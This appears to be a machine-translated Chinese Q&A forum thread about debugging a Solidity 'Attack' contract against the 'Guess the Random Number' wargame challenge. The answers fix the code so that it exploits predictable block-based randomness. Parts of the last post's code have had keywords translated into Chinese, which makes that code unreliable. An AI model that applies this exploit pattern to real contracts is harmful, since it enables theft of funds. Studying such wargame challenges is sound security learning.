攻击功能恢复..为什么?

问题描述 投票:0回答:2
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract GuessTheRandomNumberChallenge {
    bytes32 answer;

    constructor() payable {
        require(msg.value == 1 ether);
        answer = keccak256(abi.encodePacked(block.number - 1));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(bytes32 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            payable(msg.sender).transfer(2 ether);
        } else revert("answer is wrong");
    }
}

contract Attack {
    address private addr;

    constructor(address _addr) payable {
        require(msg.value == 2 ether, " 2 ether requires ");
        addr = _addr;
    }

    GuessTheRandomNumberChallenge victim = GuessTheRandomNumberChallenge(addr);

    bytes32 x = keccak256(abi.encodePacked(block.number - 1));

    function attackTo() public payable {
        victim.guess{value: 1 ether}(x);
    }
}

我正在尝试使用攻击合约来获取guess()函数。 但是 "victim.guess{value: 1 ether}(x); " 线总是在恢复。

这是回报:

transact to Attack.attackTo errored: VM error: revert.

revert
    The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance.
Debug the transaction to get more information.

请帮忙

我认为这是因为{价值:1以太}

这是我的 Foundry 测试。测试创建合约,但当它到达victim.guess{value: 1 ether}(x);线它立即反转。我认为这与发送以太无关。还有别的事


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import {GuessTheRandomNumberChallenge, Attack} from "../src/GuessTheNumber.sol";

contract TestGuessNumber is Test {
    GuessTheRandomNumberChallenge public guessTheNumber;
    Attack public attack;

    function setUp() public {
        guessTheNumber = new GuessTheRandomNumberChallenge{value: 1 ether}();

        attack = new Attack{value: 2 ether}(address(guessTheNumber));
    }

    function testPwn() public {
        attack.attackTo();
    }
}

ethereum solidity revert
2个回答
0
投票

问题是您在地址未初始化的情况下创建了受害者变量。

address private addr;

constructor(address _addr) payable {
    require(msg.value == 2 ether, " 2 ether requires ");
    addr = _addr;
}

GuessTheRandomNumberChallenge victim = GuessTheRandomNumberChallenge(addr);

受害者地址将是 0 地址,您必须将初始化移至构造函数中,如下所示:

address private addr;
GuessTheRandomNumberChallenge victim;

constructor(address _addr) payable {
    require(msg.value == 2 ether, " 2 ether requires ");
    addr = _addr;
    victim = GuessTheRandomNumberChallenge(addr);
}

此外,您还必须在攻击合约中包含接收或后备功能,以便它能够接收以太币,如下所示:

receive() external payable {

}

0
投票

谢谢你。我的问题已经解决了。对于其他想了解发生了什么的人,我正在添加编辑后的合同。新添加的行已被注释。

// SPDX-License-Identifier: MIT

pragma Solidity ^0.8.20;

合约 GuessTheRandomNumberChallenge { bytes32 答案;

constructor() payable {
    require(msg.value == 1 ether);
    answer = keccak256(abi.encodePacked(block.number - 1));
}

function isComplete() public view returns (bool) {
    return address(this).balance == 0;
}

function guess(bytes32 n) public payable {
    require(msg.value == 1 ether, " niyeee");

    if (n == answer) {
        payable(msg.sender).transfer(2 ether);
    } else revert("answer is wrong");
}

}

合约攻击{ 地址私有地址;

constructor(address _addr) payable {
    require(msg.value == 2 ether, " 2 ether requires ");
    addr = _addr;
    victim = GuessTheRandomNumberChallenge(addr); // initialization added
}

GuessTheRandomNumberChallenge victim;

bytes32 x = keccak256(abi.encodePacked(block.number - 1));

function attackTo() public payable {
    victim.guess{value: 1 ether}(x);
}

receive() external payable {}  // receive added

}

© www.soinside.com 2019 - 2024. All rights reserved.